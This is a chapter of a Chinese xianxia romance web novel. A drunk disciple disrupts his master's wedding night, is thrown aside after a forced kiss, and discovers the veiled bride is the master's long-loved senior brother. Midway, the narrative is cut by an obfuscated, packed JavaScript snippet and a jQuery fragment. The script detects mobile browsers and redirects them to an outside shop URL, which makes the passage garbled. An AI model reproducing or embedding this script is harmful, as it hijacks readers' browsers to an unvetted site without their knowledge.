由于红盖头挡了脸,沈栖并不知道这师娘生得如何,只能模模糊糊看出点眉目轮廓。
一只修长如玉的手也随之轻轻按上谢无咎的手背,动作并不如何亲密,谢无咎的动作随之停了下来
“这孩子既唤你一声师尊,今日又来贺喜,按礼,合该敬我一杯茶。”
沈栖听得牙根都痒了。
好会装。
这才刚进门,就已经拿出正宫的派头来给他下马威了,偏偏语气还温温和和的。
哼,那就看看谁更会演,看他不膈应死对方。
沈栖摇摇晃晃地走到桌前,倒了一杯茶,双手奉上:“徒儿敬师娘。”
他缓步走近,身上浓重的酒气熏得谢无咎微微皱眉,为了演得足够真,沈栖来之前可是撒了不少酒在衣服上,倘若谢无咎后面追究起来,也可以用喝多了来当借口。
总之,醉鬼做事,不能全算数。
床上那人伸手接过,隔着盖头,轻轻道:“倒是个懂礼数的孩子。”
沈栖心里一沉。
他这样大喇喇醉醺醺地闯进来,换作寻常人,这会儿恐怕早就皱起眉头叫人轰出去了,偏偏这位倒好,竟接得稳稳当当,像根本没把他那点小心思放在眼里。
这一下让他像一拳打在棉花上,,倒把他弄得有些不痛快了。
沈栖看着桌上的酒壶,按照习俗,新婚之夜,交杯而饮合卺酒,自此便算礼成,他自然不想让他们二人走完这一礼节,于是也给自己倒了杯酒,转身看向谢无咎:“也敬师尊这些年明明心里一直装着一个人,却还愿意把徒儿留在身边。徒儿从头到尾都一直知道,自己不过是个聊以慰藉的玩意。”
这个“师娘”不是很大度吗?
那他倒要看看,这人听见自己的夫君身边还有一个养了多年的“小东西”,心里还装这一个白月光,还能不能继续装大度。
听到这话,谢无咎下意识看了晏辞一眼。
他脸色骤沉,没料到沈栖竟敢当着晏辞的面捅破这些,眸底翻涌的怒意几乎压不住,“沈栖,你疯了!”
沈栖心里其实已经开始发毛了,可事已至此,他若半途退缩,今夜这趟便算白来了。
他索性把心一横,低低笑了:“是啊,我若疯了,不也是师尊亲手教出来的么?”
话音刚落,盖头下那人竟轻轻笑了一声,清凌凌的,似乎被他这番话逗笑了。
谢无咎脸色越发阴沉,声音几乎是一个字一个字往外砸:“沈栖,本尊最后说一次,滚出去。否则,别怪本尊不留情面。”
沈栖听得头皮发紧,腿肚子都有点发软。
可都已经走到这一步了,若真就这么滚了,那他今夜岂不是白折腾了?何况一想到谢无咎真要与这个人结为道侣,从此名正言顺,恩爱不疑,而他只能灰溜溜随便滚到哪个角落里去自生自灭,他胸口那股邪火便怎么也压不住。
他不但没退,反而还往前走了一步,眼底迅速蓄起泪来:“徒儿若偏不走呢?”
“是不是从头到尾,师尊都没有喜欢过徒儿?所以如今师尊有了道侣,我便连站在师尊面前的资格都没有了,对吗?”
谢无咎一时竟没接上话。
今夜之前,沈栖在他面前一直算得上乖顺,纵然偶尔也会闹点小脾气,可到底从没这样当面顶撞过,谢无咎皱着眉闭了闭眼,像是被他闹得头疼:“别闹了,你——”
就是现在,他要做一件任何新婚道侣都忍不了的事。
沈栖忽然踮起脚,视死如归地亲上了谢无咎的唇。
只一下,他自己还未来得及退开,一股磅礴灵力便迎面袭来,直接将他整个人重重掀飞出去。
谢无咎眸底是彻骨的冷。
“你找死。”
后背撞上桌角的那一瞬,沈栖眼前都黑了一下,剧痛顺着脊骨猛地窜开,疼得他差点当场骂出声来。可惜这会儿骂也不合时宜,他只来得及闷哼一声,随即喉头一甜,一口血便咳了出来,溅在雪白地毯上,红得刺目。
沈栖撑着地面,试了两次,竟都没能爬起来。
“临渊。”
临渊是谢无咎的字,沈栖从未听旁人唤过。其余人皆是敬畏地低头喊一声“尊上”,而自己则恭恭敬敬唤他“师尊”。可此刻,对方却轻飘飘地吐出这两个字。
吱呀--
此刻门忽然被吹开了,夜风灌进来,烛火晃动间,坐在床上人的盖头也被掀了起来。
首先映入眼帘的,是流泻满肩的银发。那色泽并非苍老衰败的灰白,而是如月华倾泻般透着清辉。
眼前人眉目如画,那双熟悉的琉璃色的眼瞳清寂疏离,遥不可及。
沈栖脑中“轰”的一声。
昨晚被他拿板砖救下、被他拉着跳窗的逃婚美人,竟是谢无咎要娶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948876|214106||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的道侣!这世上还有比这更离谱的事吗?
这还争什么?!若是对方把之前的事情说出来,说他沈栖胆大包天地想着劝自己逃婚,还上演了一段野鸳鸯偷情戏码,谢无咎会不会气死不好说,他一定会先死。
“师兄?”
谢无咎显然没想到晏辞会在此刻掀下盖头,语气里带着惊艳。
沈栖本来还在心里盘算要不要来一个五体投地、痛哭流涕地认罪,听见这两个字,他猛地抬头。
师兄?
谢无咎叫谁师兄?
他的目光僵硬地转向榻上的银发美人,某个荒唐得叫人头皮发麻的念头,终于后知后觉地砸进他脑子里。
难不成……这银发美人便是谢无咎那传说中念念不忘、求而不得的的白月光,晏辞?
他这是欺负到正主头上来了?!
喉间腥甜翻涌,沈栖越想越觉得自己死期将至。
他撑着地面,脑子里已经开始飞快盘算自己现在跪下认错还来不来得及,眼前却忽然落下一片艳红。
喜服上繁复的金线在摇曳的烛光下明灭流转,宽大的衣袖铺落,几乎将沈栖半拢在那片灼目的红色里。
沈栖整个人都绷了起来。
眼前的人仍然如之前在街上初见那般,眉眼仍是清冷的。晏辞没有居高临下地看他,反而在他面前缓缓俯身蹲了下来。
一缕银发随着动作从肩头滑落,垂在沈栖的手背上。
柔软,微凉。
沈栖指尖下意识蜷了一下,本能地屏住呼吸,他甚至已经做好了对方下一刻掐住他脖子的准备。
可那只手最后却只停在了他的下巴上,冰凉的指尖轻轻托住他的下颌,将他的脸抬起来。
对方的拇指在他唇角轻轻蹭过,这动作太自然,沈栖一时竟忘了挣扎。
晏辞忽然弯起眼睛,看向谢无咎,红唇轻启:“这孩子我要了,可以吗?”
沈栖只觉得浑身寒毛直竖,背后冷汗瞬间下来了,立刻想张口拒绝,可还没等他出声,谢无咎那边已经先有了回应。
“师兄若不嫌弃的话,可随意处置。”
“师尊,我不……”一股温和的灵力悄然涌入他身体,像有人不轻不重地在他后颈上揉了一把,沈栖眼前骤然一黑。
彻底昏过去之前,沈栖脑子里只有一个念头:
完了,这回真玩大了。